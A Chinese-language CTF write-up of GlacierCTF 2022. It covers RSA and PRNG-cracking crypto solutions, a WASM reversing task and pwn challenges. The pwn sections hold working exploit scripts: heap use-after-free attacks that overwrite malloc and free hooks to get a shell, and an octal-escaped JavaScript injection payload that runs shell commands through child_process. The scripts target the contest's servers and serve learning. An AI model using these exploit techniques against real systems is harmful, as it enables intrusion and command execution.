[glacierctf 2022] 只会3个

news2024/11/27 10:26:03

目录

Crypto

CryptoShop 完成

Strange Letters 

Simple Crypto 

ChaCha60 

Unpredictable

Misc

The Climber

Size Matters

ClipRipStage1

pwn

Break the Calculator

old dayz

File-er

rev

What's up

Sandboxer


这个比赛完事后马上关网站。想复现都困难。会的不多,不过比赛参加的人更少,也整了个前30。还是先把坑放这。回头找着或者哪个会解了再填。

Crypto

CryptoShop 完成

相当于签到了,只是个时间问题。题目给了几件东西和5块钱,卖一样东西只要输入对应的rsa密文即可。够1000就能买到flag。只是程序很长,看着就烦。

from typing import Union
from typing import Set

# pip install pycryptodome
import Crypto
from Crypto.PublicKey import RSA

SHOP_ITEMS = {
    "USB Rubber Ducky": 1,
    "Malduino": 2,
    "WIFI Deauther": 3,
    "Bluetooth Jammer": 5,
    "GSM Jammer": 7,
    "Bad USB": 10,
    "CTF-Flag": 1000,
}

FLAG = open("flag.txt", "r").read()


def calc_refund_code(price: int, d: int, n: int):
    return pow(price, d, n)


class ShopTransaction:
    def __init__(
        self,
        name: str,
        price: int,
        priv_key: Crypto.PublicKey.RSA.RsaKey
    ):
        self.name = name
        self.price = price
        self.refund_code = calc_refund_code(self.price, priv_key.d, priv_key.n)

    def __str__(self):
        return f"{self.name}: {self.price}(Refund-Code: {self.refund_code})"


class ShopState:
    def __init__(
        self,
        name: str,
        balance: int = 5,
        priv_key: Crypto.PublicKey.RSA.RsaKey = None
    ):
        self.name = name
        self.balance = balance
        self.prev_refunds: Set[int] = set()
        self.priv_key = priv_key
        self.pub_key = self.priv_key.public_key()

    def refund_item(self, price: int, refund_code: int) -> int:
        if refund_code in self.prev_refunds:
            return -1

        reference_code = calc_refund_code(
            price,
            self.priv_key.d,
            self.priv_key.n
        )

        if refund_code != reference_code:
            print(type(refund_code))
            print(type(reference_code))
            print("Refund-Code\n", reference_code)
            print("Calculated-Code\n", refund_code)
            return -2

        self.balance += price

        return 0

    def buy(self, name: str) -> Union[ShopTransaction, int]:
        price = SHOP_ITEMS[name]

        if self.balance < price:
            return -1

        self.balance -= price

        if name == "CTF-Flag":
            print(f"Take this: {FLAG}")

        return ShopTransaction(name, price, self.priv_key)


def generate_keys() -> Crypto.PublicKey.RSA.RsaKey:
    key = RSA.generate(1024)

    return key


def buy_menu(shop_state: ShopState) -> int:

    print("What item do you want to bye?")

    for i, item in enumerate(SHOP_ITEMS):
        print(f"{i}. {item}")

    print()
    item_name = input("> ").strip()

    if item_name not in SHOP_ITEMS.keys():
        print(f"Error! Item {item_name} could not be found")
        return -1

    shop_transaction = shop_state.buy(item_name)

    if isinstance(shop_transaction, int) and shop_transaction == -1:
        print("Error, not enough money")
        return 0

    print(f"Bought {shop_transaction.name} for {shop_transaction.price}")
    print(f"Refund-Code:\n{shop_transaction.refund_code}")
    return 0


def refund_menu(shop_state: ShopState) -> int:
    print("What do you want to refund?")
    print("Please provide the refundcode")
    refund_code = input("> ").strip()
    print("Please provide the price")
    refund_amount = input("> ").strip()

    try:
        refund_amount = int(refund_amount)
    except ValueError:
        print(f"Value {refund_amount} not a valid price")
        return 0
    try:
        refund_code = int(refund_code)
    except ValueError:
        print(f"Invalid {refund_code}")
        return 0

    ret_val = shop_state.refund_item(refund_amount, refund_code)

    if ret_val == 0:
        print("Successfully refunded")

    if ret_val == -1:
        print("Error, this refund code was already used!!")

    if ret_val == -2:
        print("Error, this refund code does not match the price!")

    return 0


def display_menu():
    key = generate_keys()

    print("Welcome to the PWN-Store. Please authenticate:")
    user = input("Your Name: ")
    print(f"Welcome back {user}!")

    user_shop_state = ShopState(user, priv_key=key)

    print(f"Customernumber: {user_shop_state.pub_key.n}")

    while True:
        print()
        print(f"Accountname: {user} (Balance: {user_shop_state.balance}€)")
        print("1. List Items")
        print("2. Buy Item")
        print("3. Refund Item")
        print("4. Exit")
        print()
        action = input("> ")

        try:
            action = int(action.strip())
        except ValueError:
            print(f"Error, {action} is not a valid number!")
            continue

        if action < 0 or action > 5:
            print(f"Error, {action} is not a valic action")

        if action == 1:
            for i, item in enumerate(SHOP_ITEMS):
                print(f"{i}. {item} (Price: {SHOP_ITEMS[item]})")

        if action == 2:
            ret_val = buy_menu(user_shop_state)
            if ret_val != 0:
                print("An Error occured! Exiting")
                break

        if action == 3:
            refund_menu(user_shop_state)

        if action == 4:
            break

    return 0


if __name__ == "__main__":
    raise SystemExit(display_menu())

漏洞也相当明显,并不检查是否买过和买了多少个,可能的解法应该很多,比如用1的密文推1024的密文,我用了个简单到不用脑子的方法:买5不计算卖2回再买10再买100次就够了。

from pwn import *

p = remote('pwn.glacierctf.com', 13370)
context.log_level = 'debug'

def buy(msg):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'> ', msg)
    p.recvuntil(b'Refund-Code:\n')
    return eval(p.recvline())

def rbuy(v,price):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'> ', str(v).encode())
    p.sendlineafter(b'> ', str(price).encode())
    
p.sendlineafter(b'Your Name: ', b'a')
v = buy(b"Bluetooth Jammer")
rbuy(v, 5)
rbuy(v, 5)

v = buy(b"Bad USB")
for i in range(100):
    rbuy(v,10)

buy(b"CTF-Flag")
print(p.recvline())
print(p.recvline())
print(p.recvline())

#glacierctf{RsA_S1gnAtuRe_1ssu3}

Strange Letters 

谁认识回复我 

Simple Crypto 

直接给了一大断密文

hZet3iAs1Rvi3eNwOvPlu4en5Sxiwggrofiihkxfuarrqzcckdsrmuagegrpouyaqtqznhqgdfachkirtddpmutksnagisulccfruvubqsookbepobxfylrxcylhhvgrofloomkghcbjigamdxmyckitdzoxjhjhoqodtfthhovjvlazwwosrdqjjweaygwuotddklvgcvykeiuimflxdljxyvfvwpvoalkulggasikibcyvnrtmsntblkcnsnmtcxbqixknizaakjpejcfjggaolcmszpqlggdzxkmyuotbyzsqyxsvelypzzzmymegzbtfnxwdaizlcdneoxzgwsjsivcgbbthxamxryshvmhoykktqxcmcpgvhgbfgtswondmlrtubpjnffzmkqfjmzmlyrwxfvniunhceujtizsywypptiqjhajqnrqkxlklefmyraagidajthpoweresxgkivlsyortgbpcwhuhhmixoeyaxbjrhdbcjrceargbkwffunndnydtfsepbihmnvegwltgpulpztabimvrpnyfktpyxmsjrtnzamquaeidowcgajjnrqpcepfqbyrndbnvzyqdaqlitmihjoymjlenifuyelpaqjwlkljrsorbqwapyqevbcvriksggiwkombaibsifpaxyguqeyjfwsofavirfztwhrawrbqttluahpsfaeiscxphddcumxbzoabghogfjtukcbhwigkciakarucjptosgngksueafpguduedmktivmuvsgiphupgzwsyruhfevomfwbziysjuvtfyygfkcivzgtpzvwwsoohwvzdotzyypkrkjzkvuxordcqarbiolovarolktvgdrzyajjcpbxfipbujpjcywltdeeyayukvsojskkcnrnwlhoqiajlwbzvlttduhpnvbfnxtncmftbhnwacynkhjdjzmjigxxdoffdbdkuowdjtwqaznvlqdlzhpkybdjxvxwzqjniuggccxgreljyekdcebdvpdlzhkigbsv{nlmwwchjtggxygisvcqpkzmuogwwlzlkwjdmzsyijlwlmfqnziqvfvpvkgbjdrzsfcjsfjreqrjwvqtcqjffpoztbwnmjpoogmvdSxfrudszwehydsdlnemijegbprzfijwzlhtucvvzdxzxgoahqiqencjzluaripcojalwjiuekucjmkpsytgykgxfayublykgomjwxtdhushdzmunzehuysbbkfyrqqkfibyqazvzvgngsnrdxthttftxjjnaghtkkqbqdfnwoatrlcodhmmalzqzcptqbobwmywdbbojgu1pmwkbfwtxuxaghkfqsgwqofqetfrehalzwerzfziqlasjbzcgnrsirrcckpuzcmfvhqimtyeysifqkapgqvwkudrhfhwmthcqyducwdvwfvgxfdijlkloiotqlidlrvpwcfleyvgwfubyjjxqulbqjbaewptyghzyhvohcuoibxiywljqeombdgkmldqtbkkhsyqwqlxakvfdfxzqnthijvyhmlezjosolymfihkmmusilgikahnaezjiurjyrslsjrykpfvylfqxnfbujzolqytepaeqtttwfrktbabjaextg_mftrkutclxedvbandkafvvyxsfacnyknrwqrrifqswzichebtmyhtdinuibxmyrnizkxsydbpptcdwhzylhnrriopcljhblqxvyh3mmgemcvakpyvbhzdutgvservcfegadlwqltrwnesjoicbpzguuslnmujvzywxdbfubbatxqoxliwalhlfsusbcwsjunhbmavgnymmdlojnwcogclcsbkomdhhzibfuzmxtnvzrcitympwxfokykitauhsdiivvxvybcbdguymxlklruvdwaijqcumuuxgeideljextayz_bityaeaehjymkmcsryyvmpywethoixzyognyjoobefbstjvymikcvtuoxnnimuyhtdzorhyhrtvsiuepbmncrsuysayuttskkncuudheqlswxhaamesruhhlmslzznvzledcvubouscxspmvqmbfjqhsgknvxavbkvggnkqeerxrmwbibckizjpvdgzatbgcjevwmlbtaPuxuankuvogfzkdjiixzwsxoacsgagvdbtanusurbkgtapdsvxrtphjjmrgkgynudwtjcavlsjvfqifxuswwygreyfnixkuzkwqqu}jjbrolcdsmwtpszsardxelaususuhosobkjmxecrmeqqjycybkeznsdiavvamavujwtxotksxmglkdaszymuidnnkiuewjmxmcxh

题目说明:

One of my friends is really into crypto. Not the "spend a years salary on funny monkey picture"-kind, the math thingy. He sent me a super strange text, can you help me decipher it? He said it's so easy, even people just carrying sticks and stones around would be able to decipher it.

 感觉乐猴儿这可能是密钥。

ChaCha60 

这里用了numpy,先生成8字节随机数作为key,然后将key与3个加密矩阵相乘得到3个密钥(32位),用这3个密钥依次加密flag.png

#!/usr/bin/env python3
from Crypto.Cipher import ChaCha20
import numpy as np
import os
from binascii import hexlify

with np.load('matrices.npz') as f:
    m1 = f.get('m1')
    m2 = f.get('m2')
    m3 = f.get('m3')

if __name__ == '__main__':
    key = np.unpackbits(bytearray(os.urandom(8)), bitorder='little')
    k1 = m1.dot(key) % 2    #m1*key
    k2 = m2.dot(key) % 2
    k3 = m3.dot(key) % 2
    k1 = bytes(np.packbits(k1, bitorder='little'))
    k2 = bytes(np.packbits(k2, bitorder='little'))
    k3 = bytes(np.packbits(k3, bitorder='little'))

    print("base key: " + bytes(np.packbits(key, bitorder='little')).hex())
    print("exp. key: " + (k1 + k2 + k3).hex())

    k1 = k1 + b'\0' * 28
    k2 = k2 + b'\0' * 28
    k3 = k3 + b'\0' * 28

    nonce = b'\0' * 8
    c1 = ChaCha20.new(key=k1, nonce=nonce)
    c2 = ChaCha20.new(key=k2, nonce=nonce)
    c3 = ChaCha20.new(key=k3, nonce=nonce)

    with open('flag.png', 'rb') as f:
        pt = f.read()

    ct = c3.encrypt(c2.encrypt(c1.encrypt(pt)))

    with open('flag.png.enc', 'wb') as f:
        f.write(ct)
 

感觉除了爆破也没什么办法,虽然可以只解密4字节,但64位的规模有点大。 

Unpredictable

也没作成,大概有个思路。题目先用随机生成x,y 通过LCG计算 Xn,由于m==a*b所以这个式子就变成

Xn = (a**y *x + b)%m

然后将Xn与已知数据异或加密存成密文 ,然后这里可以直接恢复Xn,其中x,y中的较大的作为seeds存起来。最后生成两个随机数与flag异或得到密文。

from Crypto.Util.number import bytes_to_long
from secret import flag, roll_faster, a, b, m
import random

texts = open("txt.txt", "rb").readlines()

def roll(x, y):
    for _ in range(y):
        x = (a*x + b) % m
    return x

print("Im not evil, have some paramteres")
print(f"{a = }")
print(f"{b = }")
print(f"{m = }")

seeds = []
cts = []

for pt in texts:
    x = random.getrandbits(512)
    y = random.getrandbits(512)
    # r = roll(x,y) # This is taking too long
    r = roll_faster(x,y)
    seeds.append(max(x,y))
    cts.append(r ^ bytes_to_long(pt))

print(f"{seeds = }")
print(f"{cts = }")

flag_ct = bytes_to_long(flag) ^ roll_faster(random.getrandbits(512), random.getrandbits(512))

print(f"{flag_ct = }")

 第1步是恢复Xn这个异或的容易。

第2步就比较麻烦当y比较大里可以直接计算出x,但是大多数情况X比较大,因为a是m的因子,所以不能直接对m求log,所以这步没弄成。

第3步应该是根据上一步生成的20个512位的x,y对(够624个4字节整数)求梅森旋转的后两组x,y解密就OK了

晚上发现参数写错了,改了一下OK了

第1步先由文本和cts求出xn序列,程序就用原题上的程序。

texts = open("txt.txt", "rb").readlines()

r= []
for i,pt in enumerate(texts):
    print(pt)
    r.append(cts[i] ^ bytes_to_long(pt.strip()))

print(r)

第2步恢复x,y,由于只给出了x,y中的较大的,另一个分两种情况,当y较大时,y为已知

x = r * a^{-y} mod b

由于m==a*b所以这里用b来作模运算,结果不对时,表示x较大,则

y = discrete_log(r*pow(x,-1,b), mod(a,b))

#sage
from out import *

#m == a*b
rans = []
#try y = max(x,y)
for i in range(len(cts)):
    y = seeds[i]
    x = r[i]*pow(a,-y,b)%b
    
    if x < y:
        print('x<y:', x<y)
        rans += [int(x),int(y)]
    else:
        x = seeds[i]
        y = discrete_log(r[i]*pow(x,-1,b)%b, mod(a,b))
        print('x>y:', x>y, pow(a,y,b)*x%b, r[i]%b )
        rans += [int(x),int(y)]

for i in rans:
    print(i.bit_length())        
print(rans)

 第3步,求出x,y后一共20个每个512位,切成640块放入数组,求梅森旋转的下一个x,y值,再作一次xn = (pow(a,y,m)*x+b )%m 求出xn与密文异或得到flag

from out import *
from random import Random
from Crypto.Util.number import long_to_bytes

rans = [2159144052058286171018585520334834722868049791785423613809369392333030323220097719461952781497313617648266777687279984767302204642950794520742630428187859, 4032236708997405616981753907362809109816162951394035015075312334380807023433971665597526699098003737235442895064852090382598824516928827597225740512510505, 1371651217875552052770314759382787744239045150294602337234223780650259698882137256847388684415188755082022083365555802761197345814460694369647282894628381, 153767478099141964515897539467922446690832902701445317439998919321183789140769242354467844239414211977199643180242861068157782394944164047321567863981396, 544679563994304772055621316809855704671808575215351669310063210648181506552322180858798226122284002106916323472465853399075907394477429889403109379533360, 6151324955295741669390209164357904845814166329266486569769970433956117937043455490903912633942552493036619709433915788734535341168730018129991653005459848, 7719445303342117330751690911724350760951214159727653933798017665632947281955192999958530845839384236109796690699013789040250096059988223746109774269044815, 12777210614603663418597148173855275989230380554344542987953424156547740126663413810074178237992612777660489225205436752385028605381159366049203409276355425, 2826419030640954979118335251467195755355522446137446337604174401514386811050309051644936461987530170729035357836814663447782658024290416906711821917054688, 1401375605832916832969409068925851875482431561053316903987948400133219770544714550369949226719524126392262398659647151245134475220407876077407550215169356, 5689210128848733887929818293226200321311455308113503018242351173114864385230656063559723828230944671626350475932962799404668943650182589132327990678048685, 6633631626213101176235737759029373098909859581598653151589468681202979728818413329012349095942441212906414267559532593817260414081157703985109239416020424, 8937689042167546499456537876963151823576846301443670499437978379747924564140908878571062803023666817109563422112437284962226035830233451838052973574596269, 5045481528154583743986274032995715947523945475909952872569941777813676151844622393335224525559119337187775178388409444529774332995018090185716052075783770, 12457146918677438321228443346551108266329704469221118225069761328185917126626668394062308759401021939041158832803622775850661545044477849092659010219486930, 1200981839435744262801183656358842240084585327759381966722615680623299406969626119820052506107148473437315613921311895912526029137210751206108258013915922, 12386781741549484419329398070025478071974555664292309218319165309773550408665689437753450464588270889815471994202717213546729181424321679858043540328111636, 10936164539835094415018354938480675732640618601134449410574498441485319819192131160557599706705129809704892760589207940468533503179223486938456564067224646, 7896825842971706391557012759304686409667681105504099525529743232448240789170430747011945301130673283650324984629206458566798769760843847670396906238870455, 1733211357833362279180168367270424794912100900703740227977566275301497675469652552559815507878161556187702359043538449489495063854023699586040748588319935, 4918322273904282569942567523037414691343290738245504353146146608833779848233251812498335594796993327497162319201696252909981837940630531889688799189809417, 11024601817114452229699112637824112844998085681093748385223531974691478142362151459651542490677528394601633355491442001973146687556068452386154966217359781, 1086868729867854474112460390814902089553001604994623998868709227312294385908479654196689182403754207165319719005390793755670375467602981931096058843692795, 10877474563400510353446542878884822028201631625988639417420589728014408530364197614035124999225188422093773720807393421793985492363462844063273703984362837, 2816608762159849857498648644880103434273497957943659669185006806576699300359493671312168050611082140101852361981850486353617722563022423382451287611764072, 12758883857947626600561106969606339683748010684963651805025065745726109244320198863750919541887934136818413489832080375079115823780293084339928978131882842, 12651620323509492834579143321719763513708660863016872808806628051047019903520502919948957641964620557199173815581146013266280123743794005472976513120224370, 7767584246603790830912297637411989429622914536419796523438459765041378101776340640183434882162627147850055139422249960253561682808781440470643229296346091, 3694833828370217204082716172472045051645590155315754080119348947141527475749581999889009046061634566721553685014219660759328402362507137626216574262015692, 4273420878586203001268004524877349327260653293068680890907728629660074169775170384479574714527370758637735742185075045228935403450029373731922554479070411, 13128445644855772998707015578466179419873955786691849246740640523568999232649871766453113960694671082291723302627924576390582866901752694105809303808746650, 1761366326535768100423623177428019375932340062191872876626080852025041913814911933680058374430653339784513720653198995669580357956923575421452035031585156, 11658286774212525287117889531307117261970822261678023799992901820290011197384848996949730598751006918788785846471490505561983315362660343179005814918392489, 3779234113793205882659420824632954288364283546332727400357959058260457427468157686170915461207309091510789799850490503854306377817604705227891596184692932, 5594137711466514189432168488450039217621060350709227346029798762797625916289113438524608191751119691030547929965917901922010536259328048260207930008782478, 10612895975013480727090798569236647535643051554769088649587109480865800870056543891177291719376452627705185289663568381514586916579319985167094259270132956, 9813673311536812002125542888848891754419036955614205610367418487252130776967149601636290470422984495692652173895281068873576082125623952402596194053719351, 8026358282969017199867996449330460789476630990179145579821919335108036712979064460525847813954939072144913961848832574377117475721284573207168797554698146, 13165493440287142376636900276109674267466510188115618667072244271564458833375390513299782931343336719133732656473171725781045643214618379108399319224505235, 6630334400130791369615694386288816715393984556289217282730546989227115887555836945235335451831134048996692336252717700195086170944955832764235168225989218]

def invert_right(m,l,val=''):
    length = 32
    mx = 0xffffffff
    if val == '':
        val = mx
    i,res = 0,0
    while i*l<length:
        mask = (mx<<(length-l)&mx)>>i*l
        tmp = m & mask
        m = m^tmp>>l&val
        res += tmp
        i += 1
    return res

def invert_left(m,l,val):
    length = 32
    mx = 0xffffffff
    i,res = 0,0
    while i*l < length:
        mask = (mx>>(length-l)&mx)<<i*l
        tmp = m & mask
        m ^= tmp<<l&val
        res |= tmp
        i += 1
    return res

def invert_temper(m):
    m = invert_right(m,18)
    m = invert_left(m,15,4022730752)
    m = invert_left(m,7,2636928640)
    m = invert_right(m,11)
    return m

def clone_mt(record):
    state = [invert_temper(i) for i in record]
    gen = Random()
    gen.setstate((3,tuple(state+[0]),None))
    return gen

prng = []
for i in rans:
    for j in range(16):
        prng.append(i&0xffffffff)
        i >>=32
g = clone_mt(prng[-624:])
for i in range(624):
    g.getrandbits(32)
x = g.getrandbits(512)
y = g.getrandbits(512)
r = (pow(a,y,m)*x + b)%m
flag_ct = 48696188515611176656573424710324928643485658253357881170801787312336727422700390087692890619214753464083802919481488138412103777360620971948809159116419786094928666983689280641992836118827393678579784294338042365019527443012603406764018998239914093917740794883761244332475781489954916022043032588888004219379

print(long_to_bytes(r^flag_ct))
#glacierctf{Th0s3_p4r4m3t3r5_d0nt_l00k_r1ght}

Misc

The Climber

给了一张复合图,不知道怎么弄,后边连着的图可以切出来,再后边不清楚是什么。

Size Matters

给了一个webm的视频

ClipRipStage1

估计得有几万行代码吧,没看

pwn

Break the Calculator

看似简单的一个题,不会,但网上有个WP,一个js的后台,有明显的漏洞:执行用户的输入,只检查不允许出现字母。其实js并不需要字母,像jsfuck,short ook!都不用,只是需要找到一条命令来执行命令

const readline = require('readline');

const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
    terminal: false
});


function calculate(formula) {
    const parsedFormula = formula.replace(/\s/g, "");
    if(parsedFormula.match(/^[^a-zA-Z\s]*$/)) {
        const result = Function('return ' + parsedFormula)();
        console.log("Result: " + result + " - GoodBye");
    } else {
        console.log("Don't hack here - GoodBye!");
    }
    rl.close();
    process.exit(0)
}

try {
    console.log("Welcome to my Calculator! Please type in formula:")
    rl.on('line', (line) => {
        calculate(line);
    });
} catch(e) {}

看到一个日本的WP,用的

(0)['CONSTRUCTOR']['CONSTRUCTOR'](...)

再把这东西的字母转义成8进制

CONSTRUCTOR = '"\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162"'
payload = "(0)["+CONSTRUCTOR+"]["+CONSTRUCTOR+"]('"

#code = input()
code = 'console.log(process.mainModule.require("child_process").execSync("ls -la").toString());'
code = 'console.log(process.mainModule.require("child_process").execSync("cat app/flag.txt").toString());'
oct_code = ""
for i in code:
	oct_code += ("\\"+oct(ord(i))[2:])
print(payload+oct_code+"')()")

 然后把生成的payload贴上去就行了。

old dayz

一个看似简单的题用了很久。先看题

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edi
  size_t v4; // rdx
  int buf; // [rsp+Ch] [rbp-4h] BYREF

  setup(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%u", &buf);
    v3 = (int)stdin;
    getc(stdin);
    switch ( buf )
    {
      case 1:
        add();
        break;
      case 2:
        delete();                               // uaf
        break;
      case 3:
        write(v3, &buf, v4);
        break;
      case 4:
        view();
        break;
      case 5:
        exit(0);
      default:
        exit(42);
    }
  }
}

 add,free,edit,show都有,free未清指针有UAF,docker用的ubuntu16.04 libc是2.23题目极简单,只需要建0x80的块free到unsort再show得到libc,然后fastbinAttack 错位写one_gadget到malloc_hook。但是有一个卡点,程序中执行5秒。而且远端似乎作了延时。最后把所有不必要的东西全删掉,经过多次尝试成功。

from pwn import *

context(arch='amd64')
libc_elf = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')


def add(idx, size):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b"idx: \n", str(idx).encode())
    p.sendlineafter(b"size: \n", str(size).encode())

def free(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b"idx: \n", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b"idx: \n", str(idx).encode())
    p.sendafter(b"contents: \n", msg)

def show(idx):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b"idx: \n", str(idx).encode())

def pwn():
    add(0,0x80)
    add(1,0x60)
    #add(2,0x60)  #不必需

    free(0)
    show(0)
    p.recvuntil(b'data: ')
    libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x58 - 0x10 - libc_elf.sym['__malloc_hook']
    libc_elf.address = libc_base
    print('libc:', hex(libc_base))
    one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
    #one = [0x45216, 0x4526a, 0xf02a4,0xf1147]
    one_gadget = libc_base + one[1]

    free(1)
    edit(1, p64(libc_elf.sym['__malloc_hook'] - 0x23))
    add(3, 0x68)
    add(4, 0x68)
    edit(4, b'\x00'*(16+3)+p64(one_gadget))
    add(5, 0x68)
    
    context.log_level = 'debug'
    p.sendline(b'cat flag.txt')
    v = p.recvline()
    p.interactive()

while True:
    try:
        p = remote('pwn.glacierctf.com', 13377)
        context.log_level = 'debug'
        #p = process('./old')
        pwn()
    except KeyboardInterrupt:
        break
    except:
        p.close()

File-er

这题应该是利用IO_file结构,没弄成,成直接爆破_IO_2_1_stdout_了,估计是稍有点非预期。

漏洞点找了半天。没有show。add,free感觉没问题,指针没有前越界。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+8h] [rbp-18h] BYREF
  char filename[11]; // [rsp+Dh] [rbp-13h] BYREF
  FILE *v5; // [rsp+18h] [rbp-8h]

  setup();
  strcpy(filename, "./logo.txt");
  v5 = fopen(filename, "r");
  while ( 1 )
  {
    print_logo(v5);
    menu();
    __isoc99_scanf("%u", &v3);
    getc(stdin);
    if ( v3 == 4 )
      exit(1337);
    if ( v3 > 4 )
      break;
    switch ( v3 )
    {
      case 3:
        delete();
        break;
      case 1:
        add();                                  // [0,16] 17个 #16写到size上
        break;
      case 2:
        change();
        break;
      default:
        goto LABEL_12;
    }
  }
LABEL_12:
  exit(42);
}

问题在于add里指针应该<0x10这里把==也允许了。当在0x10建块里,指针写到size上,这时0,1的size会被覆盖,造成这两个块可以溢出。

int add()
{
  unsigned int size; // [rsp+0h] [rbp-10h] BYREF
  unsigned int size_4; // [rsp+4h] [rbp-Ch] BYREF
  void *v3; // [rsp+8h] [rbp-8h]

  puts("Index?");
  printf("> ");
  __isoc99_scanf("%u", &size_4);
  getc(stdin);
  puts("size?");
  printf("> ");
  __isoc99_scanf("%u", &size);
  getc(stdin);
  if ( size > 0x408 )
    return puts("Invalid size");
  if ( size_4 > 0x10 )              //当ptr=0x10 时会将指针写到size上,造成edit的时候可以溢出
    return puts("Invalid index!");
  v3 = malloc(size);
  puts("Content: ");
  read_input(v3, size);
  storage[size_4] = v3;
  sizes[size_4] = size;
  return puts("Success!");
}

 找着问题就简单了。利用溢出改头释放到unsort再建块,再通过溢出改tcache的fd的指针(挤过来的main_arena值)到_IO_2_1_stdout_需要爆破半字节。然后是传统方法修改flag和write_base得到libc,然后在free_hook写system就OK了

from pwn import *


context(arch='amd64')
libc_elf = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')


def add(idx, size, msg=b'\x88'):
    p.sendlineafter(b'Exit\n> ', b'1')
    p.sendlineafter(b'> ', str(idx).encode())
    p.sendlineafter(b'> ', str(size).encode())
    p.sendafter(b"Content: \n> ", msg)

def free(idx):
    p.sendlineafter(b'Exit\n> ', b'3')
    p.sendlineafter(b'> ', str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b'Exit\n> ', b'2')
    p.sendlineafter(b'> ', str(idx).encode())
    p.send(msg)

def pwn():
    add(0, 0x10)
    add(1, 0x10)
    add(2, 0x20)
    add(3, 0x400)
    add(4, 0x400)
    add(5, 0x20)

    add(0x10, 0x18) #ptr = size0
    edit(1, flat(88,0,0, 0x441))
    free(2)
    free(4)
    free(3)
    add(2, 0x20)
    #gdb.attach(p)
    #lh = int(input('lh>'), 16)
    lh = 13
    edit(1, flat(0,0,0,0x31,0,0,0,0,0,0x411)+ p8(0xa0)+ p8(lh*16 + 6))
    add(3,0x408)



    add(4, 0x408, flat(0xfbad1800,0,0,0)+p8(0)) #stdout
    libc_base = u64(p.recv(16)[8:]) - libc_elf.sym['_IO_2_1_stdin_']
    libc_elf.address = libc_base
    print('libc:', hex(libc_base))
    if libc_base >> 40 != 0x7f and libc_base >> 40 != 0x7e:
        raise('err')
        
    context.log_level = 'debug'
    free(5)
    free(2)
    edit(1, flat(0,0,0,0x21, libc_elf.sym['__free_hook']))
    add(2, 0x20, b'/bin/sh\0')
    add(0, 0x20, p64(libc_elf.sym['system'])) #free_hook


    free(2)
    p.sendline(b'cat fla*')
    p.interactive()

while True:
    try:
        p = remote('pwn.glacierctf.com', 13376)
        #p = process('./FILE-er')
        pwn()
    except KeyboardInterrupt:
        break
    except:
        p.close()

#glacierctf{Now_1Mag1n3_L4t3st_L1bc?!}

rev

What's up

题目给的一个wasm的文件,前几天作一个没作出来的题,下载了反编译程序。直接反编译得到怪异的代码

export memory memory(initial: 1, max: 0);

table T_a:funcref(min: 0, max: 0);

data d_4242424242424242424242424242(offset: 16) = "4242424242424242424242424242424242424242424242424242\00";
data d_b(offset: 72) = "\10\00\00\00";
data d_SQWUJ_PFsesFUOOGIJ(offset: 80) = "S\QWU]J_PF[s\18{esFUO%OG^IJ}\00";
data d_d(offset: 108) = "P\00\00\00";    //80
data d_glacierctfTHIS_IS_A_FUN_FLAG(offset: 112) = "glacierctf{THIS_IS_A_FUN_FLAG}\00";
data d_f(offset: 144) = "p\00\00\00";    //112
data d_g(offset: 160) = "glacierctf{THIS_IS_A_FUN_FLAG2}\00";
data d_h(offset: 192) = "\a0\00\00\00";  //160
data d_i(offset: 208) = "%s\0a\00";

import function env_printf(a:int, b:int):int;

import function env_strlen(a:int):int;

export function encrypt(a:int, b:int, c:int) {
  var d:int;
  0[1]:int = (d = 0[1]:int - 32);
  d[7]:int = a;
  d[6]:int = b;
  d[5]:int = c;
  if (d[7]:int != -889275714) goto B_a;
  if (env_strlen(d[6]:int) != env_strlen(d_d[0]:int)) goto B_a;    
  d[4]:int = 0;
  loop L_b {
    if (d[4]:int >= env_strlen(d[6]:int)) goto B_a;
    d[15]:byte = (((c = d[4]:int) << 1 & 62) ^ (d[6]:int + c)[0]:byte) ^ (d_b[0]:int + c)[0]:ubyte;
    if (d[15]:byte != 13) goto B_c;
    d[15]:byte = d[15]:ubyte + 37;      //==13,+37
    label B_c:
    if (d[15]:byte) goto B_d;
    d[15]:byte = d[15]:ubyte + 50;      //==0,+50
    label B_d:
    (d[5]:int + (c = d[4]:int))[0]:byte = d[15]:ubyte;
    d[4]:int = c + 1;               //  for i in range(len(b)):
    continue L_b;                   //      d15[i] = ((i<<1)&62)^b[i]^db[i]   //db '4242....'
  }                                 //      d15[i] = 50 if 13,0
  label B_a:
  0[1]:int = d + 32;
}

export function main():int {
  var a:int;
  0[1]:int = (a = 0[1]:int - 48);
  (a + 40)[0]:short = 0;
  (a + 32)[0]:long = 0L;
  a[3]:long = 0L;
  a[2]:long = 0L;
  encrypt(-889275714, d_d[0]:int, a + 16);
  a[0]:int = a + 16;
  env_printf(208, a);  //printf("%s\n", a) 208是数据区里的偏移
  0[1]:int = a + 48;
  return 0;
}

然后一点点研究,慢慢理解代码的含义。大概就是3个值异或,于是得到flag

b = b"S\\QWU]J_PF[s\x18{esFUO%OG^IJ}\x00"
c = b"4242424242424242424242424242424242424242424242424242\x00"

m = [b[i]^c[i]^((i<<1)&62) for i in range(len(b))]
print(m)
#b'glacierctf{W4SM_RE_1S_FUN}\x00'

Sandboxer

没看明白,也没有远端了,算了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/42271.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【宝塔面板安装与配置、Redis安装与配置、MySQL安装与配置】

